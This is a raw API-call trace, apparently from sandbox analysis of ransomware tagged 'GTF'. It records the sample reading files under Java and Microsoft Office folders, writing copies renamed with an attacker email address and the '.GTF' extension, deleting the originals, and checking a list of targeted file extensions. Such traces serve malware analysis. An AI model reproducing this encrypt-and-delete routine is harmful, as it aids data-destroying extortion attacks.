	[0160.908] WriteFile (in: hFile=0x494, lpBuffer=0x4272990*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e8fc80, lpOverlapped=0x0 | out: lpBuffer=0x4272990*, lpNumberOfBytesWritten=0x2e8fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0160.918] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0160.920] CloseHandle (hObject=0x494) returned 1
	[0160.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x21) returned 1
	[0161.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0161.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0161.115] lstrlenW (lpString=".doc") returned 4
	[0161.115] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1
	[0161.115] lstrlenW (lpString=".docx") returned 5
	[0161.116] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1
	[0161.116] lstrlenW (lpString=".pdf") returned 4
	[0161.116] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1
	[0161.116] lstrlenW (lpString=".xls") returned 4
	[0161.116] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1
	[0161.116] lstrlenW (lpString=".xlsx") returned 5
	[0161.116] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1
	[0161.116] lstrlenW (lpString=".ppt") returned 4
	[0161.116] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1
	[0161.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0161.116] lstrlenW (lpString=".zip") returned 4
	[0161.116] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1
	[0161.116] lstrlenW (lpString=".rar") returned 4
	[0161.116] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1
	[0161.116] lstrlenW (lpString=".bz2") returned 4
	[0161.116] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1
	[0161.116] lstrlenW (lpString=".7z") returned 3
	[0161.116] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1
	[0161.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0161.116] lstrlenW (lpString=".dbf") returned 4
	[0161.116] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1
	[0161.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0161.117] lstrlenW (lpString=".1cd") returned 4
	[0161.117] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1
	[0161.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0161.117] lstrlenW (lpString=".jpg") returned 4
	[0161.117] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1
	[0161.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0161.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0161.117] lstrlenW (lpString=".doc") returned 4
	[0161.117] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1
	[0161.117] lstrlenW (lpString=".docx") returned 5
	[0161.117] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1
	[0161.117] lstrlenW (lpString=".pdf") returned 4
	[0161.117] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1
	[0161.117] lstrlenW (lpString=".xls") returned 4
	[0161.117] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1
	[0161.117] lstrlenW (lpString=".xlsx") returned 5
	[0161.117] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1
	[0161.117] lstrlenW (lpString=".ppt") returned 4
	[0161.117] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1
	[0161.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0161.117] lstrlenW (lpString=".zip") returned 4
	[0161.117] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1
	[0161.117] lstrlenW (lpString=".rar") returned 4
	[0161.117] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1
	[0161.117] lstrlenW (lpString=".bz2") returned 4
	[0161.117] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1
	[0161.117] lstrlenW (lpString=".7z") returned 3
	[0161.117] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1
	[0161.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0161.117] lstrlenW (lpString=".dbf") returned 4
	[0161.117] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1
	[0161.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0161.117] lstrlenW (lpString=".1cd") returned 4
	[0161.117] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1
	[0161.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0161.117] lstrlenW (lpString=".jpg") returned 4
	[0161.117] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1
	[0161.118] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0161.118] lstrlenW (lpString="jfr.jar") returned 7
	[0161.118] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0161.378] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=560581) returned 1
	[0161.378] CloseHandle (hObject=0x500) returned 1
	[0161.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20
	[0161.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.741] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0161.883] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.883] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.883] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.177] GetLastError () returned 0x0
	[0162.177] ReadFile (in: hFile=0x530, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x88dc5, lpOverlapped=0x0) returned 1
	[0162.202] WriteFile (in: hFile=0x53c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x88dd0, lpOverlapped=0x0) returned 1
	[0162.212] ReadFile (in: hFile=0x530, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.212] WriteFile (in: hFile=0x53c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0162.212] SetEndOfFile (hFile=0x53c) returned 1
	[0162.212] CloseHandle (hObject=0x53c) returned 1
	[0162.213] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.213] SetEndOfFile (hFile=0x530) returned 1
	[0162.226] CloseHandle (hObject=0x530) returned 1
	[0162.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0162.226] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1
	[0162.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0162.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0162.227] lstrlenW (lpString=".doc") returned 4
	[0162.227] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.227] lstrlenW (lpString=".docx") returned 5
	[0162.227] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0162.227] lstrlenW (lpString=".pdf") returned 4
	[0162.227] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.227] lstrlenW (lpString=".xls") returned 4
	[0162.227] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.227] lstrlenW (lpString=".xlsx") returned 5
	[0162.227] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0162.227] lstrlenW (lpString=".ppt") returned 4
	[0162.227] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0162.227] lstrlenW (lpString=".zip") returned 4
	[0162.227] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.227] lstrlenW (lpString=".rar") returned 4
	[0162.227] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.227] lstrlenW (lpString=".bz2") returned 4
	[0162.227] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.227] lstrlenW (lpString=".7z") returned 3
	[0162.227] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0162.228] lstrlenW (lpString=".dbf") returned 4
	[0162.228] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0162.228] lstrlenW (lpString=".1cd") returned 4
	[0162.228] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0162.228] lstrlenW (lpString=".jpg") returned 4
	[0162.228] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0162.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0162.228] lstrlenW (lpString=".doc") returned 4
	[0162.228] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.228] lstrlenW (lpString=".docx") returned 5
	[0162.228] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0162.228] lstrlenW (lpString=".pdf") returned 4
	[0162.228] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.228] lstrlenW (lpString=".xls") returned 4
	[0162.306] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.306] lstrlenW (lpString=".xlsx") returned 5
	[0162.306] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0162.307] lstrlenW (lpString=".ppt") returned 4
	[0162.307] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0162.307] lstrlenW (lpString=".zip") returned 4
	[0162.307] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.307] lstrlenW (lpString=".rar") returned 4
	[0162.307] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.307] lstrlenW (lpString=".bz2") returned 4
	[0162.307] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.307] lstrlenW (lpString=".7z") returned 3
	[0162.307] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0162.307] lstrlenW (lpString=".dbf") returned 4
	[0162.307] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0162.307] lstrlenW (lpString=".1cd") returned 4
	[0162.307] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0162.307] lstrlenW (lpString=".jpg") returned 4
	[0162.307] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.307] lstrcmpiW (lpString1=".template", lpString2=".GTF") returned 1
	[0162.307] lstrlenW (lpString="jmxremote.password.template") returned 27
	[0162.307] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.383] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=2856) returned 1
	[0163.383] CloseHandle (hObject=0x43c) returned 1
	[0163.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20
	[0163.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.384] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.385] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.385] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.385] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0163.385] GetLastError () returned 0x0
	[0163.386] ReadFile (in: hFile=0x43c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0xb28, lpOverlapped=0x0) returned 1
	[0163.387] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xb30, lpOverlapped=0x0) returned 1
	[0163.388] ReadFile (in: hFile=0x43c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.388] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0163.388] SetEndOfFile (hFile=0x504) returned 1
	[0163.389] CloseHandle (hObject=0x504) returned 1
	[0163.389] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.389] SetEndOfFile (hFile=0x43c) returned 1
	[0163.391] CloseHandle (hObject=0x43c) returned 1
	[0163.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0163.392] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 1
	[0163.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0163.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0163.392] lstrlenW (lpString=".doc") returned 4
	[0163.392] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0163.393] lstrlenW (lpString=".docx") returned 5
	[0163.393] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0163.393] lstrlenW (lpString=".pdf") returned 4
	[0163.393] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0163.393] lstrlenW (lpString=".xls") returned 4
	[0163.393] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0163.393] lstrlenW (lpString=".xlsx") returned 5
	[0163.393] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0163.393] lstrlenW (lpString=".ppt") returned 4
	[0163.393] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0163.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0163.393] lstrlenW (lpString=".zip") returned 4
	[0163.393] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0163.393] lstrlenW (lpString=".rar") returned 4
	[0163.393] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0163.393] lstrlenW (lpString=".bz2") returned 4
	[0163.393] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0163.393] lstrlenW (lpString=".7z") returned 3
	[0163.393] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0163.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0163.393] lstrlenW (lpString=".dbf") returned 4
	[0163.393] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0163.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0163.393] lstrlenW (lpString=".1cd") returned 4
	[0163.393] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0163.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0163.393] lstrlenW (lpString=".jpg") returned 4
	[0163.393] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0163.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0163.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0163.393] lstrlenW (lpString=".doc") returned 4
	[0163.393] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0163.393] lstrlenW (lpString=".docx") returned 5
	[0163.393] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0163.394] lstrlenW (lpString=".pdf") returned 4
	[0163.394] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0163.394] lstrlenW (lpString=".xls") returned 4
	[0163.394] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0163.394] lstrlenW (lpString=".xlsx") returned 5
	[0163.394] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0163.394] lstrlenW (lpString=".ppt") returned 4
	[0163.394] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0163.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0163.394] lstrlenW (lpString=".zip") returned 4
	[0163.394] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0163.394] lstrlenW (lpString=".rar") returned 4
	[0163.394] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0163.394] lstrlenW (lpString=".bz2") returned 4
	[0163.394] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0163.394] lstrlenW (lpString=".7z") returned 3
	[0163.394] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0163.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0163.394] lstrlenW (lpString=".dbf") returned 4
	[0163.394] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0163.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0163.394] lstrlenW (lpString=".1cd") returned 4
	[0163.394] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0163.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0163.394] lstrlenW (lpString=".jpg") returned 4
	[0163.394] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0163.394] lstrcmpiW (lpString1=".EXE", lpString2=".GTF") returned -1
	[0163.394] lstrlenW (lpString="OSPPREARM.EXE") returned 13
	[0163.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.397] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=27200) returned 1
	[0163.397] CloseHandle (hObject=0x43c) returned 1
	[0163.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20
	[0163.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0163.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0163.397] lstrlenW (lpString=".doc") returned 4
	[0163.398] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0163.398] lstrlenW (lpString=".docx") returned 5
	[0163.398] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1
	[0163.398] lstrlenW (lpString=".pdf") returned 4
	[0163.398] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0163.398] lstrlenW (lpString=".xls") returned 4
	[0163.398] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0163.398] lstrlenW (lpString=".xlsx") returned 5
	[0163.398] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1
	[0163.398] lstrlenW (lpString=".ppt") returned 4
	[0163.398] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0163.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0163.398] lstrlenW (lpString=".zip") returned 4
	[0163.398] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0163.398] lstrlenW (lpString=".rar") returned 4
	[0163.398] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0163.398] lstrlenW (lpString=".bz2") returned 4
	[0163.398] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0163.398] lstrlenW (lpString=".7z") returned 3
	[0163.398] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0163.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0163.398] lstrlenW (lpString=".dbf") returned 4
	[0163.398] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0163.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0163.398] lstrlenW (lpString=".1cd") returned 4
	[0163.398] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0163.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0163.398] lstrlenW (lpString=".jpg") returned 4
	[0163.398] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0163.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0163.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0163.398] lstrlenW (lpString=".doc") returned 4
	[0163.398] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0163.398] lstrlenW (lpString=".docx") returned 5
	[0163.398] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1
	[0163.398] lstrlenW (lpString=".pdf") returned 4
	[0163.399] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0163.399] lstrlenW (lpString=".xls") returned 4
	[0163.399] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0163.399] lstrlenW (lpString=".xlsx") returned 5
